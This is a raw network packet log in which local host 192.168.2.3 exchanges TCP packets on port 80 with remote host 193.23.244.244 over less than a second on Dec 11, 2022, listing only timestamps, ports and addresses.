Dec 11, 2022 09:26:40.176141977 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176202059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176261902 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176321983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176386118 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176446915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176505089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176557064 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.176565886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176558018 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.176558018 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.176626921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176686049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.176772118 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.176772118 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.205209970 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205276012 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205319881 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205363989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205404997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205449104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205491066 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205532074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205564976 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.205574989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205615997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205657959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205699921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205729961 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.205740929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205749989 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.205781937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205825090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.205890894 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.205986977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.234407902 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234474897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234518051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234559059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234564066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.234600067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234613895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.234642982 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234698057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.234704018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234757900 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234800100 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234812021 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.234841108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234893084 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.234904051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.234985113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235025883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235044003 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.235069990 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235111952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235124111 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.235153913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235198021 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235212088 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.235239029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235280037 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235295057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.235320091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235361099 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.235373974 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.263828039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.263906956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.263993025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264034986 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264070034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264095068 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264146090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264209032 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264251947 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264311075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264368057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264369011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264411926 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264473915 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264488935 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264554024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264611959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264627934 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264669895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264708996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264724970 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264750004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264791965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264811039 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264834881 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264875889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264889956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264915943 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264957905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.264974117 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.264998913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265038013 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265058041 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.265081882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265124083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265142918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.265165091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265208006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265227079 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.265248060 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265288115 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265306950 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.265328884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265369892 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.265386105 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.293745041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.293813944 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.293867111 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.293867111 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.293908119 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.293920040 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.293951988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.293988943 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294008017 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294034004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294083118 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294086933 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294116020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294166088 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294210911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294254065 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294294119 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294302940 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294342995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294382095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294399023 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294430971 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294456959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294514894 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294527054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294557095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294578075 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294585943 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294612885 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294635057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294641972 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294671059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294688940 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294698954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294728041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294753075 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294754982 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294784069 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294811964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294830084 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294838905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294867039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294869900 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294920921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294922113 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.294951916 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294969082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.294997931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295023918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.295026064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295058966 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.295063972 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295093060 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295120001 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295147896 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.295147896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295176029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295186996 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.295203924 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295227051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.295234919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295269966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295289040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295301914 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.295304060 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295334101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.295368910 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.295407057 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.323796034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324004889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324099064 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.324296951 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324368954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324412107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324450970 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.324474096 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324532986 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.324538946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324656010 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324723959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.324724913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324860096 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324907064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.324918032 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.324971914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325020075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325026035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325083017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325129986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325139999 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325192928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325241089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325249910 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325303078 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325351000 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325361967 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325412989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325460911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325469971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325524092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325568914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325578928 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325632095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325681925 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325686932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325745106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325789928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325807095 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325853109 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325901985 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.325906992 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.325965881 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326010942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326020956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326071978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326122999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326128960 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326184988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326231003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326242924 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326293945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326343060 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326349020 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326406956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326450109 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326464891 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326514006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326561928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326571941 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326625109 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326668978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326683044 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326731920 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326781034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326791048 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326844931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326905966 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.326939106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.326997995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.327053070 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.327058077 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.327124119 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.327193975 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.355588913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.355705023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.355791092 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.355808973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.355848074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.355900049 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.355928898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356008053 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356045961 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356056929 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.356117010 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356164932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.356241941 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356283903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356336117 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.356343031 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356435061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356532097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.356535912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356602907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356657982 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.356698036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356823921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.356889963 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.356940031 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357059956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357110977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357158899 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357222080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357263088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357275009 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357302904 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357341051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357352972 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357386112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357430935 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357434034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357465982 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357522011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357522011 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357568979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357635975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357645035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357682943 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357734919 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357738018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357786894 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357832909 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357841015 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357880116 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357934952 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.357937098 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.357984066 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358030081 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358036995 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.358072042 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358120918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.358123064 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358170986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358218908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358238935 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.358273983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358323097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.358324051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358359098 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358416080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358421087 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.358463049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358511925 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358519077 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.358556986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358606100 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.358613968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358661890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.358716965 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.387156963 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387296915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387343884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387365103 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.387394905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387469053 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387481928 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.387628078 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387677908 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.387690067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.387732983 CET	80	49738	193.23.244.244	192.168.2.3
